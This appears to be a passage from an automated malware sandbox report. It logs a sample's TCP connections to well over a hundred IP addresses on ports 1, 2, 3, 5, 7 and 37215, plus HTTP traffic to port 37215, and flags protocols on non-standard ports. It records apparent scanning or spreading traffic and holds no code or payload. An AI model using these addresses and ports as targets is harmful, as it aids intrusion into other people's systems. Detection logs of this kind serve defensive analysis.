Source: global traffic	TCP traffic: 197.254.6.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.129.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.236.49.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.164.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.50.232.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.158.98.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.45.109.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.126.189.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.132.217.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.46.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.85.11.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.189.159.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.136.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.17.133.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.197.113.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.200.182.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.39.184.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.194.48.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.108.226.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.229.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.71.14.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.219.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.53.157.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.158.118.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.176.139.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.80.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.23.74.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.223.253.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.244.62.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.227.67.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.36.201.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.47.205.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.132.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.169.9.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.148.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.85.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.206.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.229.240.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.20.169.157 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.87.179.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.85.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.3.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.119.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.155.133.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.80.58.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.249.27.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.156.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.14.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.66.96.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.248.144.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.94.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.48.113.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.181.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.192.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.244.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.164.216.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.194.71.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.1.72.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.154.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.66.135.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.131.223.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.245.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.141.137.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.214.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.76.171.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.16.179.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.34.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.46.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.110.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.171.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.185.208.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.15.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.37.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.37.55.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.241.115.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.140.195.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.125.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.196.59.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.165.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.13.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.218.231.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.43.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.72.216.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.244.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.192.197.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.101.107.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.80.231.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.110.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.39.90.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.255.32.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.76.102.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.190.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.25.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.13.184.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.184.204.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.120.24.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.23.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.61.209.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.61.255.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.129.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.68.248.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.89.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.80.111.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.130.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.182.223.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.50.141.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.73.35.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.221.237.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.240.187.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.13.115.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.152.106.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.197.65.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.194.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.26.6.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.235.47.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.53.188.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.59.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.207.213.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.116.239.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.60.3.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.69.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.148.242.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.29.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.216.9.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.116.42.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.205.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.44.10.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.144.177.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.104.15.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.237.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.41.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.119.37.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.101.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.145.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.0.212.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.214.206.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.94.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.10.142.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.8.107.128 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 58152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48724 -> 37215
